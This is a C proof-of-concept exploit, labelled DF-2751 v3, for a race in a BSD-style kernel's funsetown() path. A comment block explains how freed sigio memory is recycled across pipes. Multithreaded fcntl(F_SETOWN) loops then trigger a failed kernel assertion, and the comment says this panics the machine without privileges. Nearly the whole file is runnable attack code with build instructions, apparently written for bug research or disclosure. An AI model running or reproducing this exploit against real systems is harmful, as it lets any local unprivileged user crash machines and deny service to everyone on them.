/*
 * DF-2751 PoC v3: funsetown() KKASSERT stale-pointer deref, with
 * cross-pipe chunk recycling so the recycled sio_myref ALWAYS
 * mismatches the victim's sigiop.
 *
 * funsetown() (kern_descrip.c:1239-1252):
 *      if ((sigio = *sigiop) != NULL) {            <- L1, no token
 *              lwkt_gettoken(&sigio_token);
 *              KKASSERT(sigiop == sigio->sio_myref); <- derefs stale L1
 *              ...
 * Callers arriving WITHOUT the token: fsetown(0) via fcntl(F_SETOWN,0),
 * pipe_close (sys_pipe.c:1104), owner-exit funsetownlst.
 *
 * Mechanism:
 *  V: fcntl(A0, F_SETOWN, 0)  -> funsetown(&pbA.sigio): L1 loads X,
 *     parks at lwkt_gettoken(&sigio_token) while W-side pgsigio /
 *     killer fsetowns hold it; V's bufferA r/w tokens drop (LWKT).
 *  K: fcntl(A0, F_SETOWN, pid)-> fsetown: gets bufferA tokens + token;
 *     token-held funsetown() kfrees X, installs N1.
 *  K: fcntl(D0, F_SETOWN, pid)-> fsetown(D): its kmalloc (M_ZERO) pops
 *     X's 48-byte chunk per-CPU LIFO, stamps sio_myref = &pbD.sigio.
 *  V: resumes, KKASSERT(&pbA.sigio == X->sio_myref == &pbD.sigio)
 *     -> assertion failure -> panic (INVARIANTS; stock config has it).
 *
 * Even zeroed (not yet stamped) recycled chunks mismatch (NULL).
 * unprivileged; build: cc -O2 -pthread -o fr3 fr3.c
 */
#include <sys/fcntl.h>
#include <errno.h>
#include <err.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int A[2], D[2], W[2];
static volatile unsigned long v, k, w;
static volatile int stop;

static void *
victim_thr(void *arg)
{
	while (!stop) {
		fcntl(A[0], F_SETOWN, 0);
		v++;
	}
	return (NULL);
}

static void *
killer_thr(void *arg)
{
	pid_t pid = getpid();

	while (!stop) {
		fcntl(A[0], F_SETOWN, pid);	/* frees old A sigio (X) */
		fcntl(D[0], F_SETOWN, pid);	/* recycles chunk for pbD */
		k++;
	}
	return (NULL);
}

static void *
writer_thr(void *arg)
{
	char buf[64];

	memset(buf, 'x', sizeof(buf));
	while (!stop) {
		/* pgsigio(pgrp) under sigio_token: long holds -> victims
		 * and killers pile up at the token */
		if (write(W[1], buf, sizeof(buf)) < 0 && errno != EAGAIN)
			break;
		w++;
	}
	return (NULL);
}

static void *
drain_thr(void *arg)
{
	char buf[65536];

	while (!stop)
		read(W[0], buf, sizeof(buf));
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t th[16];
	int nth = 0, i;
	int secs = 300;
	int fl;

	if (argc > 1)
		secs = atoi(argv[1]);

	if (pipe(A) < 0 || pipe(D) < 0 || pipe(W) < 0)
		err(1, "pipe");
	signal(SIGIO, SIG_IGN);

	fcntl(W[0], F_SETOWN, -getpgrp());
	fl = fcntl(W[0], F_GETFL);
	fcntl(W[0], F_SETFL, fl | O_ASYNC);
	fl = fcntl(W[1], F_GETFL);
	fcntl(W[1], F_SETFL, fl | O_NONBLOCK);

	printf("DF-2751v3: uid=%d funsetown KKASSERT stale-load race, %ds...\n",
	    getuid(), secs);
	fflush(stdout);

	pthread_create(&th[nth++], NULL, drain_thr, NULL);
	pthread_create(&th[nth++], NULL, writer_thr, NULL);
	pthread_create(&th[nth++], NULL, writer_thr, NULL);
	pthread_create(&th[nth++], NULL, victim_thr, NULL);
	pthread_create(&th[nth++], NULL, victim_thr, NULL);
	for (i = 0; i < 8; ++i)
		pthread_create(&th[nth++], NULL, killer_thr, NULL);

	sleep(secs);
	stop = 1;
	fcntl(W[0], F_SETOWN, 0);
	for (i = 0; i < nth; ++i)
		pthread_join(th[i], NULL);
	printf("survived: victim=%lu killer=%lu writes=%lu (no panic in %ds)\n",
	    v, k, w, secs);
	return (2);
}
